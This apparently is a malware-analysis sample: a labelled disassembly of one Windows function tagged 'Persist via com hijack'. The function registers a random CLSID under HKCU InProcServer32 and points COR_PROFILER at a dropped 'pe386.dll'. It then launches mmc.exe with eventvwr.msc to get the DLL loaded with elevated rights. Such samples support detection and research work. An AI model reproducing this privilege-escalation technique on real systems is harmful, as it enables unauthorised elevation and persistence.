Function at 0x140016582
Capabilities:
Persist via com hijack
Set registry value

Disassembly:
jmp 0x14002a960
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x12d8
call fcn.14001622b
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x352
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x12f8]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x1278], rax
lea rcx, [0x14007e1da]
call fcn.140016b68
nop
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0xb8], 0
lea rcx, [rbp + 0x48]
call qword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
je 0x14002a9e9
jmp 0x14002ac58
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x48]
call qword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
je 0x14002aa03
jmp 0x14002ac58
mov rax, qword [0x140074d18]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.1400161f9
nop
lea rdx, str.pe386
lea rcx, [rbp + 0xe0]
call fcn.140016af0
nop
lea rdx, str..dll
lea rcx, [rbp + 0xe0]
call fcn.140016af0
nop
mov r8d, dword [rbp + 0x12a8]
mov rdx, qword [rbp + 0x12a0]
lea rcx, [rbp + 0xe0]
call fcn.14001612c
test eax, eax
jne 0x14002aa6b
jmp 0x14002ac58
lea r9, [0x140058574]
lea r8, [0x140058578]
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
nop
mov r9, qword [rbp + 0xb8]
lea r8, str.COR_PROFILER
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
nop
mov rax, qword [0x140074d18]
cmp dword [rax + 8], 0x23f0
jb 0x14002aac8
lea r9, [rbp + 0xe0]
lea r8, str.COR_PROFILER_PATH
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
nop
jmp 0x14002ac1f
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x510]
call fcn.1400161f9
nop
mov rdx, qword [rbp + 0xb8]
lea rcx, [rbp + 0x510]
call fcn.140016af0
nop
lea rdx, str.InProcServer32
lea rcx, [rbp + 0x510]
call fcn.140016af0
nop
mov qword [rbp + 0x78], 0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x78]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x510]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x14002ac1f
lea rcx, [rbp + 0xe0]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x28]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14004e75c]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x14002ac14
lea rdx, str.Apartment
lea rcx, [rbp + 0x510]
call fcn.1400161f9
nop
lea rcx, [rbp + 0x510]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x28]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x510]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ThreadingModel
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov dword [rsp + 0x20], 0x2ee0
mov r9d, 5
xor r8d, r8d
lea rdx, str.eventvwr.msc
lea rcx, str.mmc.exe
call fcn.14001689d
test eax, eax
je 0x14002ac4e
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x14002a9d6
cmp qword [rbp + 0xb8], 0
je 0x14002ac87
xor r9d, r9d
lea r8, str.COR_PROFILER
xor edx, edx
mov ecx, 1
call fcn.1400160d7
nop
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
xor r9d, r9d
lea r8, [0x140058578]
xor edx, edx
mov ecx, 1
call fcn.1400160d7
nop
mov rax, qword [0x140074d18]
cmp dword [rax + 8], 0x23f0
jb 0x14002acc5
xor r9d, r9d
lea r8, str.COR_PROFILER_PATH
xor edx, edx
mov ecx, 1
call fcn.1400160d7
nop
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x140057bc0]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x1278]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x1288]
pop rdi
pop rbp
ret